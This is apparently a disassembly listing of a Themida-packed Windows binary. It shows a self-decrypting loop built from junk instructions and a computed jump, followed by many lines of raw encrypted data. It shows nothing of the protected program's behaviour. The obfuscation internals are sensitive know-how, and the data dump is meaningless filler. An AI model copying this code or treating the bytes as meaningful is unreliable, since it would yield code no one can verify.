; FUNCTION CHUNK AT 00592A61 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592AD7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00592B98 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592ED8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592EFC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005934B9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005935D2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00593BFB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593CF4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00593EBE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00594290 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594734 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005947DC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005949E4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00594C51 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594DA9 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00594F0A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005951C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595288 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005958F0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595AD4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595C88 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005960D9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005960FD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00596124 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005963AE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005964DB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596923 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00596B92 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00596BF4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596C4E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00596FEE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597076 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059722C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059726D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597613 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00597648 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00597ED0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597F61 SIZE 0000000A BYTES
mov ecx, [ebp+7E41ADDh]
pop eax
jbe loc_5EC2FB
mov ecx, [ebp+7E41AE5h]
loc_5EC2FB: ; CODE XREF: sub_5EC2E8+7j
add eax, 68CAh
jbe loc_5EC30C
loc_5EC307: ; CODE XREF: Themida_:005EC2D9j
sub cx, 11E8h
loc_5EC30C: ; CODE XREF: sub_5EC2E8+19j
xor edi, edi
movzx ebx, si
loc_5EC311: ; CODE XREF: sub_5EC2E8:loc_5EC386j
mov edx, [eax+edi]
sub [ebp+7E42EE1h], edx
xor edx, 28D9438Bh
adc bl, 0D0h
sub edx, 71BA852h
mov si, cx
add edx, 2E6743ACh
sbb bl, 63h
push edx
mov ecx, [ebp+7E42BD9h]
pop dword ptr [eax+edi]
mov [ebp+7E41EC1h], edx
sub edi, 4
add [ebp+7E41E61h], edi
cmp edi, 0FFFF97ECh
jnz loc_5EC379
or ebx, [ebp+7E41815h]
jmp loc_5EC393
; ---------------------------------------------------------------------------
db 0D3h, 28h, 0ACh
dd 0AFAED0ACh, 0B15F292Fh, 3F03347Bh, 0A45910E7h
db 0C2h
; ---------------------------------------------------------------------------
loc_5EC379: ; CODE XREF: sub_5EC2E8+6Cj
ja loc_5EC386
jz loc_5EC386
cmc
loc_5EC386: ; CODE XREF: sub_5EC2E8:loc_5EC379j
; sub_5EC2E8+97j
jmp loc_5EC311
; ---------------------------------------------------------------------------
db 2Eh
dd 0DB8E98F9h
db 0CCh
db 44h, 0E8h
; ---------------------------------------------------------------------------
loc_5EC393: ; CODE XREF: sub_5EC2E8+78j
jmp loc_5EC3E0
; ---------------------------------------------------------------------------
dd 6A05C6D0h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch
dd 1467006Ch, 8003B2BDh, 0FEB9h, 0Ah dup(0)
; ---------------------------------------------------------------------------
loc_5EC3E0: ; CODE XREF: sub_5EC2E8:loc_5EC393j
jmp loc_5ECAB3
; ---------------------------------------------------------------------------
push 7EAA0DDh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EAA1AFh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EAA242h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EAA2F0h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EAA3F2h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EAA4A6h
jmp loc_58A287
; ---------------------------------------------------------------------------
db 0ECh, 14h, 0F2h
dd 4F6F485Eh, 0AFC9A5BBh, 1226051Bh, 718D687Eh, 65FE04DDh
dd 0C4DA6E8Ah, 2238CCEAh, 849A2E44h, 48FB8FA7h, 3F641B98h
dd 0ADF213A8h, 4136B315h, 0D13A83Fh, 9EBD92A4h, 2Dh, 3FFBB224h
dd 8171D158h, 79569A6Fh, 7E5B2961h, 22DDD266h, 751442A0h
dd 82927A97h, 0BAACBC7Fh, 32AF1161h, 1442824Dh, 6C8EA009h
dd 39424D9Bh, 28CF4C5Dh, 0A61442A0h, 11ACE43Dh, 568EAA85h
dd 951262BBh, 13A6AD13h, 0CCECC561h, 0ED8E3B73h, 5A13A6AEh
dd 9E611D49h, 37D87803h, 253h, 1886E557h, 28229649h, 0DA454116h
dd 394F2DCBh, 31546601h, 6200505Eh, 7A586A88h, 0D754B618h
dd 1442A020h, 25DA45AEh, 0B11442A0h, 6F3D3648h, 3D13A68Ch
dd 46F6B3CDh, 0AFFF9B73h, 0A60A4D32h, 47A00913h, 95DC4E3Eh
dd 0B1754616h, 0F4F6EF01h, 76D788F3h, 0C8459519h, 0DFB531CEh
dd 3DDB2B94h, 1D3B1560h, 0B9F14AE5h, 0B4460C1Eh, 931F3B16h
dd 0CB669EB6h, 0BEF996B9h, 0B50ABA41h, 56AF18C7h, 0BA518906h
dd 9303C052h, 906FB27Ch, 49A9447Ch, 0FF5891C6h, 1C3411AFh
dd 7D957288h, 21105929h, 5EE42496h, 48Dh, 0A5395B33h, 296B68Fh
dd 62F610ECh, 0C5596D4Ch, 24B8D4AFh, 0D1ACA54Bh, 310B21B5h
dd 8B697F13h, 0EECBE175h, 0DF8F42D6h, 0A8009D62h, 65F43913h
dd 0FD19F492h, 0DCF4D1EBh, 0ECC2CDA4h, 0A85B2A9Ch, 2484A27Ch
dd 5E39B024h, 0F9D7E942h, 0A6CB927Ch, 0E9C46013h, 0A1FA95CDh
dd 0BA95330Dh, 0B9CB669Eh, 0C0CF058Eh, 8BC3E1BBh, 0E54797F0h
dd 0C5516B47h, 0C1BACCECh, 14420713h, 444F58C1h, 8317AE20h
dd 994641B3h, 6AA2B695h, 106C6FCFh, 7A15384Ah, 6D67E434h
dd 33BBC0DAh, 25A156D3h, 0C42DA408h, 0A07D1B6Bh, 0A3B55088h
dd 258906DDh, 950058D5h, 69D2A3EFh, 7F9E7B19h, 8D07FC10h
dd 0AE429BF3h, 9470BB98h, 0BFCD217Ah, 0D2B9CEAFh, 3BB0C92h
dd 2D050000h, 8861770Bh, 0E2BED468h, 3F1E34C8h, 0A681972Bh
dd 0D71DF68Ah, 0F387A37Eh, 51E503DDh, 0B3475D3Bh, 14A8C09Dh
dd 4F34B161h, 0B13A801h, 795637C6h, 3D522961h, 0A6A42171h
dd 0F413A6A2h, 5CD93B8Bh, 13A6A3A7h, 0A2BA9733h, 0F6153749h
dd 48C51599h, 144C3CAEh, 0D68AC434h, 0FAE8E40Bh, 72EF51A1h
dd 1B8C2F8Dh, 0B5D3AD49h, 7789E27Dh, 61EFB99h, 677F5C72h
dd 7737582Fh, 96AA8927h, 6329A684h, 311C6809h, 2F2274C8h
dd 43835A4Eh, 328BDh, 9EC09800h, 0FB1BF40Ah, 5B755167h
dd 0BED2B1C7h, 1D39142Ah, 114AB089h, 70861A36h, 0CEE47896h
dd 3046DAF0h, 0F4A73B53h, 230C744h, 599E13A8h, 617956CAh
dd 713D5229h, 8E1AA421h, 0CF3813A6h, 1B36D3Bh, 45FC0000h
dd 0AA048BDDh, 1996F85Ah, 1442A062h, 7C7587F0h, 13A68CAEh
dd 0EA02DF7Dh, 260517B2h, 96A9B4BDh, 78E69A7Bh, 0CA479717h
dd 0EE87A570h, 663D75DEh, 0B8358529h, 16A05560h, 0AF54D133h
dd 1C18AE56h, 0F199E568h, 36D22369h, 6F0A4258h, 0BC250416h
dd 0A6F1CE6Ch, 0C559B2C8h, 66BAD2AFh, 6514673Ah, 7AB93F7Fh
dd 46000002h, 0A2B84C6Eh, 0FF15A9C9h, 5F750923h, 0C2D86C80h
dd 5E37CBE7h, 0C8E4BF98h, 26441E34h, 889E7C92h, 0E901DEF4h
dd 75F2A255h, 13A8028Eh, 5678074Ch, 52296179h, 0BF21713Dh
dd 42A0BD42h, 0A47D1914h, 3B192B84h, 0A6BB2CBEh, 0A539A213h
dd 0A608117Eh, 0A6BB5229h, 1C900013h, 0E5335E0h, 971464BDh
dd 13A60BE0h, 0D0F3056Eh, 3D9FEFBFh, 72AAC29Fh, 1ECCC5D7h
dd 0CD144227h, 7709EE6Bh, 5CC51B8Ah, 0F9026B4Ah, 552AA709h
dd 11B8A77h, 158D8698h, 3956B9Fh, 60D2228Ch, 71A227E9h
dd 8AA882E4h, 0DF411F31h, 3E196441h, 0F64FEA22h, 56D323BEh
dd 8AE806A1h, 0B9B2C42Dh, 8D0C2787h, 0A21464CDh, 5EFF7AC2h
dd 844A5C41h, 7CCCE2ADh, 6449570Ah, 0C1D3B20Bh, 0DF3266E3h
dd 77E0B52Bh, 94AC8927h, 47C42600h, 0BA3420B0h, 23F7AE1Eh
dd 94F3FC4Ch, 320F293Bh, 36E4C61Ah, 0A9E9C38Ah, 17823h
dd 4E704800h, 0ABCBA4BAh, 0B250117h, 6E826177h, 0CDE9C4DAh
dd 0C19A6039h, 2036CAE6h, 7E942846h, 0E0F68AA0h, 0A457EB03h
dd 38077F4h, 94E13A8h, 6179567Ah, 1CF99729h, 1F31CC04h
dd 0CB1B93FCh, 0A6A2D04Eh, 0A1359E13h, 6C424DD0h, 3FFF9F1Ch
dd 2C9513A8h, 49613EDCh, 779DBB5h, 5040D739h, 9E65D064h
dd 3C13A8A1h, 0CAA7C1D3h, 0ECA37AB2h, 1BF572C2h, 0D914423Eh
dd 0EC45633Dh, 31952A9Ch, 387B74E2h, 0CDAA4826h, 2E0B21B5h
dd 8807DE16h, 7B59D626h, 91C727Ah, 6541946Dh, 28BAF24Bh
dd 0FA45D4ABh, 0C0198203h, 0FFA11367h, 405A47h, 0C47Ah
dd 224FC00h, 5F7F586Eh, 0BFD9B5CBh, 2236152Bh, 819D788Eh
dd 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh, 94AA3E54h, 580B9FB7h
dd 4542BA8h, 0BD0213A8h, 65424D2Eh, 5C0EB74Bh, 52664514h
dd 0D350A0F9h, 13A8CD25h, 44124AB3h, 61FF4F67h, 99346C84h
dd 724F6587h, 3111E663h, 21BD13A9h, 77D02947h, 5178923Fh
dd 0A8257E46h, 8CA481FCh, 0AAC09E3Ch, 0A3C5D772h, 364E2BC9h
dd 24BC5CFEh, 26CC4C6Dh, 0C4A1BBCDh, 44E274ACh, 203A4C6Ah
dd 3EF52D41h, 0DE7C3F67h, 0BDDBB502h, 855E2C64h, 0E0FA0C65h
dd 4157EB03h, 233D1964h, 160C92CAh, 92000000h, 17EBDE20h
dd 91B34EDh, 15F49234h, 0A2DAF0CEh, 0B99CAE07h, 5C7E566Ah
dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
dd 768A6937h, 7A94703Eh, 7B9B7442h, 8950EE43h, 61BD55E0h
dd 810B7732h, 7C6193F5h, 4EDC138h, 0F704EDC1h, 0A9F581DDh
dd 1FFCCF4h, 0E8835DE8h, 24048704h, 5FF5685Ch, 1C890000h
dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 52240C89h
dd 0EA9F96BAh, 8BD38907h, 0C4832414h, 0C8B5404h, 4C48324h
dd 8BA52h, 0CA010000h, 148B1A89h, 4C48124h, 0FF000000h
dd 81592434h, 4C4h, 241C8B00h, 81E38953h, 4C3h, 4C38300h
dd 5C241C87h, 0F9D7DEE9h, 0E534C5FFh, 333E4396h
db 3Fh, 57h, 0A8h
; ---------------------------------------------------------------------------
loc_5ECAB3: ; CODE XREF: sub_5EC2E8:loc_5EC3E0j
mov eax, 7EAA58Fh
add eax, ebp
jmp eax
sub_5EC2E8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
aSZto@xb_MfzcS db 'αΣ^Z@X. mfzc:θ',0Ah,0
align 10h
dd 92F2C700h, 1A6A7374h, 0B728C6CAh, 0DE8B5946h, 6E71C181h
dd 81660000h, 0BEB381CBh, 3C882746h, 0BD0EE81h, 860F3C88h
dd 6, 0C161F381h, 18B2540h, 0C081DF8Bh, 645747F0h, 0A830Fh
dd 8F0F0000h, 4, 19E1BB66h, 222BE881h, 81FC794Ch, 1C805AC0h
dd 0FE8B6673h, 0F98A0189h, 3D35E981h, 0B9B66975h, 3D31C181h
dd 0D78A6975h, 0F01EE83h, 1085h, 4CCB8000h, 1DE9h, 0B24F5E00h
dd 55CCFA82h, 6BBB6617h, 0FFA0E973h, 0C2F7FFFFh, 0E242DBB4h
dd 0B3A438C5h, 0AE949F3h, 6B000000h, 3B4CB7h, 0
dd 4A4E900h, 26680000h, 0E907EAA8h, 0FFF9D6FBh, 0EAA89468h
dd 0D6F1E907h, 0BF68FFF9h, 0E907EAA9h, 0FFF9D6E7h, 0DD71936Bh
dd 3ACEEEC7h, 9A2E4824h, 0FD91A584h, 5CF00CE7h, 9E47D83h
dd 694359EDh, 0C3A1B74Bh, 260319ADh, 17C77A0Eh, 0A807E59Ah
dd 9D2C7113h, 115F492h, 21C2EC9h, 5D30B27h, 5D7C1028h
dd 0AF2C7C32h, 13A68B31h, 4CDE167Fh, 82BAD0AEh, 86BED8B4h
dd 878092EBh, 13A68CF4h, 85630153h, 4C9C376Fh, 0A68C28CFh
dd 2B3DA613h, 59A6D68Eh, 7ED877E5h, 2D8h, 0B33092A7h, 1442A0CCh
dd 0E40F218Ah, 3F6F20A6h, 8CA472EFh, 97213A6h, 0EA73F500h
dd 0E042EEC3h, 249D4F6Eh, 58C3537Bh, 110BE6A3h, 91B4C62Fh
dd 0FE60B0FEh, 0C6BD3A9Ch, 94110BE6h, 0E73BC02Bh, 3797110Bh
dd 0BE7C5BAh, 0CF289111h, 0E9A6C4BDh, 0CB3416EFh, 53A7197Bh
dd 18309A13h, 7502F964h, 67D0196Fh, 0D7B88F55h, 9742FED0h
dd 4B9B7D6Dh, 6F6B29CEh, 0E33CA519h, 50B91693h, 5CC51E8Bh
dd 79916E0Ch, 0EEB8967h, 6F4C62F6h, 0E51C0357h, 5B9B5CEEh
dd 2C5D5h, 82A47C00h, 0DFFFD8EEh, 3F59354Bh, 0A2B695ABh
dd 11DF80Eh, 0F56E946Dh, 546AFE1Ah, 0B2C85C7Ah, 142ABED4h
dd 0D88B1F37h, 8D4AB28h, 3D8213A8h, 1AF492AEh, 0C8C7EAFCh
dd 963496E6h, 9C6AA2B8h, 0D46FA7BFh, 6370697Bh, 2F13A806h
dd 0FDD876C6h, 5C374DE1h, 7452F040h, 0D9864C5Eh, 0EC57F8D9h
dd 277B9370h, 6A164502h, 570389C9h, 0EA000002h, 465CF012h
dd 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh, 6C8863FCh
dd 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h, 13A80862h
dd 4D1CABF0h, 0AA1C6C42h, 39472AFAh, 613BC702h, 5E700B43h
dd 0CF940380h, 59C213A8h, 0D08B7421h, 2F4013A9h, 0ADB84777h
dd 751DD870h, 46000001h, 430C2092h, 0B2AE2845h, 91A986A0h
dd 96AE8B59h, 0AB8A2802h, 2D628597h, 31CF3181h, 69043C54h
dd 106C5E57h, 0B92213A6h, 172BD481h, 8FA013A6h, 6658A7D7h
dd 3A7DD877h, 0A6000000h, 5A39424Dh, 3B9DED46h, 0A0A75CD9h
dd 0B7341442h, 1442A0C0h, 6BD4258Eh, 0A9AA6059h, 0CB6913A6h
dd 0E6C5D7EDh, 0E798457Dh, 6413A6A9h, 946B1353h, 41D87808h
dd 0ABh, 6179566Ah, 64805B29h, 69815E2Ch, 6E866331h, 0A4C4E5DAh
dd 7E5B1442h, 0E7405433h, 535B3453h, 6C8C6503h, 0A9879934h
dd 0A4420E2Ch, 0AAEC5C13h, 5A724F2Dh, 29B635FAh, 4EA7C19Dh
dd 698560FEh, 1C99FBD5h, 13A48E67h, 5E788AF3h, 20136783h
dd 0BF6A1ABEh, 12CF97Fh, 3D150000h, 9871871Bh, 0F2CEE478h
dd 4F2E44D8h, 0B691A73Bh, 0C72D069Ah, 397B38Eh, 61F513EDh
dd 0C3576D4Bh, 24B8D0ADh, 0BF44C171h, 1B13A809h, 7B5647D6h
dd 0A014EB68h, 0A9871442h, 80D94293h, 9AB89230h, 0A036CD4Ah
dd 3BA41442h, 14F10729h, 569768FCh, 73116179h, 0AA457D97h
dd 2704D298h, 335C7B0Fh, 0B38D2B7Bh, 0A05A219Eh, 8FF81442h
dd 5530FE36h, 0F0CEE039h, 0A6EF6F73h, 1EBC2E13h, 0CA958F08h
dd 59C2A1B3h, 74906B09h, 2E10EBE0h, 0A68313A6h, 57347D5Bh
dd 136C073Fh, 351026BAh, 875BE119h, 0EA000000h, 0F875424Dh
dd 1442A003h, 0BD0D66CFh, 0A8065740h, 5A92FB13h, 4F2AC8h
dd 76AE0727h, 0D2AFC9DBh, 5991AB87h, 5B93B18Bh, 7A0E67C0h
dd 613C8764h, 0E6720D45h, 4898F109h, 3B8C96D6h, 6D482C05h
dd 257E1951h, 0B0A04D13h, 112F0EF5h, 0BDDBB553h, 23560EABh
dd 815DA885h, 3BD60E67h, 1A320F29h, 7B937086h, 82967543h
dd 88BC934Ah, 8E6DB895h, 4EA7427Ah, 0AFC7A4BAh, 8F177h
dd 0D9770000h, 0FED3E5FBh, 7E563E8Dh, 7956245Ch, 7D5B2961h
dd 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h
dd 9B74427Ah, 81EE437Bh, 4ECh, 240C8900h, 112F68h, 242C8900h
dd 62DE68h, 24148900h, 2F6B6856h, 815E242Dh, 0C7887EF6h
dd 34815623h, 0BB37CC24h, 0F5815D16h, 16BB37CCh, 5B23685Eh
dd 24890000h, 24048324h, 81555A04h, 73192434h, 428F213Bh
dd 0EBB85008h, 4014573Ch, 0E625D0F7h, 2D7A2518h, 48E48CE9h
dd 58084231h, 5A2434FFh, 4C481h, 2C8B0000h, 0E2895224h
dd 4C281h, 0C2810000h, 4, 5C241487h, 0F9D262E9h, 10B8DDFFh
dd 307EAABh, 1E0FFC5h, 0CB575993h, 47063457h, 6A4AFFFDh
dd 466C14C4h, 1973DC71h, 695AE752h, 97ACE8Dh, 0DC752CDDh
dd 8839A868h, 0D2123BC5h, 0C9127D03h, 1903EEA6h, 9A4491EDh
dd 0D635027Eh, 0B247A611h, 0E3702C49h, 0F41140ECh, 9D4EDAF6h
dd 0AA2AA408h, 0FC7E7D5Ah, 3765960Bh, 0EB41959Ah, 0DE2F6195h
dd 532D2CC4h, 5DB17DD8h, 0F7B132AFh, 55323D54h, 1DB13256h
dd 0D5B153ABh, 0B39FA2AFh, 75B13254h, 0AA1F593Bh, 0A1749CD0h
dd 913276Eh, 0DEBE8422h, 0ABB13251h, 0D5B0B759h, 0EA443256h
dd 75BDDB56h, 0DFC63256h, 16398950h, 92EE4CD9h, 57B1AA96h
dd 0ABB137BFh, 0E2A3156h, 0EAB141CDh, 75B139BFh, 0E2524456h
dd 2A05ACE7h, 0B3B1932Eh, 43583256h, 77B13256h, 5BC79910h
dd 0B5FCEBFFh, 0E01497A3h, 3B9B6B08h, 5D54A898h, 0A0585256h
dd 9B13256h, 2D750AB3h, 39BB5CBCh, 8BE6CCAFh, 0C2BE522Ah
dd 0BAA1DA88h, 0FD2B3256h, 61D03A4Ch, 5F3E371Bh, 0A2396B8Ah
dd 0B4E9729Bh, 0B7689937h, 75B13256h, 0ABA2F665h, 8F63A197h
dd 0D1513FADh, 0D2471045h, 0B958F43Dh, 0FBB13256h, 6C47B775h
dd 310383F2h, 0AAAE58D0h, 711D9AF7h, 57B132D7h, 57EEE089h
dd 4470D2D7h, 0D5343D36h, 2B13256h, 75B1325Fh, 825816A9h
dd 0EF51D8AEh, 0CFD0694Bh, 0A2D13256h, 0CA42B930h, 0D0583256h
dd 70B13256h, 48ABBD71h, 0DCD13256h, 52EC20EEh, 0AEB138D8h
dd 57B4DB56h, 0A5BA3256h, 0B47F0BA0h, 0EA493256h, 7D313D56h
dd 0DAB13256h, 0D8F889A3h, 0AED03E51h, 57A5DB56h, 25C83256h
dd 445AC27Ch, 3A69814Dh, 0DE59DC8Ch, 8FC6F556h, 5DB18245h
dd 0B93D3D36h, 0BEB13256h, 0ABB13244h, 0AFB790CCh, 33790A8Fh
dd 0D5C78708h, 3652B8F0h, 0B131A4F3h, 0AEB153AAh, 57B0B959h
dd 0AB4D3256h, 0D5B1CE56h, 393A5236h, 75B13CBFh, 920EF256h
dd 46491D8Eh, 2466811Eh, 364636ACh, 0ABA6BD59h, 0C7583256h
dd 89B13256h, 0FF5749CDh, 32D7375h, 0FF021763h, 40CD46B3h
dd 57B1536Ch, 0CBB132AAh, 21ACD5D7h, 0EAD0686Bh, 7C58C756h
dd 0D5B13256h, 348D649Bh, 67123660h, 0BE483256h, 0ABB13250h
dd 3C58B547h, 0EAB15D9Dh, 9CB132AAh, 0BAB13246h, 0D5622DB5h
dd 0B5038C25h, 67912CCh, 0F12B67E7h, 0D8583256h, 29B13256h
dd 0F3D7EFBFh, 0BEB2B9C2h, 0F406F148h, 0AEB0B059h, 57443256h
dd 0B2313D56h, 0DAB13256h, 0EAB121D0h, 75BFDB56h, 0E2573256h
dd 3974548Ch, 8FB52EC1h, 4500B6DCh, 14D13256h, 9C5B7F61h
dd 8AB13237h, 75B138BEh, 54C33A56h, 59367446h, 250D72F4h
dd 57D06D85h, 0ABB3CB56h, 0D5B03256h, 0EA4D3256h, 74363D56h
dd 4FB13256h, 5DB3358Eh, 0AEA83257h, 579A3246h, 0A9EB324Bh
dd 0DF1DEC96h, 8873BF44h, 7502BD60h, 0B0313D56h, 0B4B13256h
dd 0AEB13253h, 4255BB39h, 42B132E0h, 0D5B13244h, 390F101Dh
dd 57DAF36Fh, 6E6955C8h, 0BF51085Ah, 0AEB1C0FDh, 0EF7BB336h
dd 57DE12C2h, 0D5B1CE37h, 0E5B132AAh, 75B124DCh, 0AA323D56h
dd 0B4B13256h, 0AEB1325Dh, 3A182835h
dd 0D5D9BEDh, 0D5DB0888h, 55D75256h, 0BC30BCE8h, 8456FABDh
dd 3DB13237h, 59FECEE8h, 0DBBE6375h, 0ABB13256h, 0D549530Ch
dd 0DB36556h, 14768D59h, 0B5D13256h, 0DABEE1E9h, 0AEB13256h
dd 0B13237h, 0ABB13A54h, 5BBE5256h, 0EAB13256h, 75B1CE37h
dd 2D167A3h, 3127AA93h, 0AEBCDBCAh, 0B1F03256h, 0D9CCE671h
dd 6BC87295h, 6B845E49h, 3EEB6A8Eh, 0BAB7DB2Ah, 4A273256h
dd 1D93DF52h, 533853CBh, 0ABB13B72h, 0B6232F56h, 556F2B36h
dd 9E22E7DAh, 7DB7D31Eh, 3E232FA2h, 116F2B36h, 66BEE7DAh
dd 9ABE6006h, 8DEB6A0Ch, 0E3580359h, 0F8B13256h, 33216114h
dd 180D9DD8h, 52216A0Ch, 0DCBAE8D3h, 0ABBDDB56h, 0E8253256h
dd 0D3B1B164h, 809DED28h, 0FE38C9DCh, 0FE13672h, 0FCE16006h
dd 0FEB0359h, 0F9E10359h, 8DEB0359h, 0DBBE6A0Ch, 75B122BFh
dd 0BC507A56h, 0CFACC691h, 70A85235h, 0BD64BEE9h, 0F3E9688Dh
dd 194E2C0Fh, 0B0AA1843h, 2DE9680Eh, 2BD0AF45h, 9EC33256h
dd 0B10F4B16h, 6C7B073Ah, 0BC27830Eh, 6693DF52h, 0EAE96A0Ch
dd 75A2DB56h, 8EBD3256h, 5FCD5A34h, 0B675E850h, 60F83917h
dd 0E6436AD8h, 0DAB1325Ch, 0EAB127D9h, 75A1DB56h, 0B9C23256h
dd 0F4DB12BAh, 0AB6A7FCBh, 0DF36085Bh, 0ABB1E141h, 3CB132A3h
dd 0EAB13259h, 8FB5AD71h, 591EE0A8h, 31912CF5h, 0AEAF8AABh
dd 57A5DB56h, 58D93256h, 7CD102BAh, 2E57DF7Dh, 0FF313DF2h
dd 0A2192FEBh, 5DB100B3h, 57B132AAh, 0CE6BB236h, 0ABB126BFh
dd 0D1EA6F56h, 4AE09B60h, 0F733587Dh, 5A6C59FCh, 0B9199B39h
dd 0AEB1536Ch, 0AFB132AEh, 0B8583256h, 0B5B13256h, 4F568831h
dd 9E332F09h, 7738A42Dh, 0D3C0F196h, 0AEB1F9E4h, 523D3D36h
dd 0CDB13256h, 4DD8E2D7h, 0E5B13237h, 75B13CD3h, 0BAB8DB56h
dd 0A1323256h, 53CB5008h, 57A56D70h, 20D75256h, 0B4E96485h
dd 6EBE3256h, 75B1325Fh, 0DC2D8536h, 0F403C3D7h, 56B13237h
dd 5B583256h, 46B13256h, 606431BCh, 5E7B526Dh, 758EF795h
dd 0B2333D56h, 3DB13256h, 5E0F8930h, 57D0E8DDh, 43D15256h
dd 0D5B13247h, 47A23221h, 0EA308FF0h, 0E692C568h, 129B95EEh
dd 930B6998h, 36BCC45Dh, 0CBB13237h, 0D5B13BBFh, 18597D56h
dd 0C09B47EBh, 643A08CCh, 52B13237h, 0AEB133D3h, 57B1CB56h
dd 3703C736h, 0DAB13237h, 0EAB12BDAh, 7E595256h, 21B13256h
dd 1536481Ah, 4455AAA9h, 0D6E94DC2h, 0AF6D71BCh, 0D5B15342h
dd 0EAB13FBFh, 0C8397F56h, 0EBC35D5h, 66129C2Ah, 0AEB11350h
dd 57B13EBFh, 0B3A26F56h, 0E9185930h, 415D8EBCh, 7AB13242h
dd 0BAB13AD5h, 3E65256h, 437C8930h, 0BEB13237h, 0ABB13259h
dd 0D7D32496h, 90D1DAAh, 3F17D248h, 0BA86C91Ah, 5DBBDB56h
dd 0EB143256h, 1B78CDA9h, 8DDEC56h, 0D5B0BE59h, 0EA443256h
dd 6A3D3D56h, 0DAB13256h, 5DB123BEh, 391C5856h, 7A026CF9h
dd 4A222C42h, 0BC9C5464h, 0E5EB4F93h, 75B132D6h, 0A8585356h
dd 0A7B13256h, 52E99A0Bh, 32DCA98Bh, 0A86A1112h, 76D64D02h
dd 12B13214h, 0F4D13256h, 369FCB84h, 5DB1535Bh, 6F0E3D36h
dd 522EC5D7h, 0ABD042C5h, 0D5B7DB56h, 0B39B3256h, 2D7B9EC8h
dd 0BA483256h, 5C3E3D56h, 52B13256h, 57B126BFh, 316D8156h
dd 9E29DEEDh, 0EA9697A9h, 127DFE35h, 2BE14CB0h, 0B4B132A4h
dd 0AEB1325Ah, 4831D84Eh, 19FA9F80h, 2919A310h, 0F9583256h
dd 7AB13256h, 0AE47C15Ch, 9A7CF47Fh, 0CC1275ECh, 777720DBh
dd 27BECE12h, 0D5B1324Fh, 0EAB126BFh, 44A2D656h, 8D6ED340h
dd 8346A102h, 0C3E1980Fh, 0D2550BEAh, 42B13277h, 0D5B13259h
dd 0D42FE9A6h, 5A14C536h, 61D89999h, 0B46158B7h, 0AEB1325Fh
dd 324DF296h, 0FCD7FE6Bh, 0DAB132CFh, 0EAB13FD1h, 75B9DB56h
dd 0E64A3256h, 5A53D646h, 0AEB1E0A4h, 57B6B459h, 0CBD13256h
dd 1660B237h, 3B13237h, 75B1325Bh, 0DE2FD311h, 0BC45B5A0h
dd 5999A9Bh, 0ABB13296h, 0AB443256h, 0D5BFDB56h, 0BF0A3256h
dd 5D95D23Ah, 0C116DD91h, 0D642644h, 0A1D13256h, 57B134D6h
dd 0AB373D56h, 3DB13256h, 0EAB1325Dh, 0B96C6D33h, 569A10D0h
dd 5209CD7Eh, 0AEB132D6h, 57D06956h, 0AA3F3D56h, 2DB13256h
dd 0E2583256h, 0A9B13256h, 476A57FCh, 5DAA0BCBh, 0B6393D56h
dd 0BEB13256h, 0ABB13245h, 32A90882h, 45C42285h, 0BC8BB55Ah
dd 9A438FE7h, 5D0273A6h, 0A2373D56h, 58B13256h, 0ABB134D6h
dd 0D53B3D56h, 0EAB13256h, 75B1CA56h, 0BAA4BE59h, 0D3BE3256h
dd 0AEB13259h, 57B138BFh, 8DD6BE56h, 0F26354F7h, 0EA3E4FE1h
dd 75B1CE56h, 0BAB13FBFh, 11405D56h, 4C44B81Eh, 61C2B2B8h
dd 0ABB17888h, 0D5B139BFh, 0C4266456h, 0A7A35303h, 0F900856Dh
dd 4D583256h, 0A6B13256h, 0A1BC3B9Eh, 0CD6DE8h, 5D553452h
dd 0EABB0BFCh, 75BFDB56h, 4FC33256h, 0D8E5A38Ch, 1DBC487h
dd 0A49CD23Dh, 21BE3256h, 0D5B13247h, 0EABAB359h, 73583256h
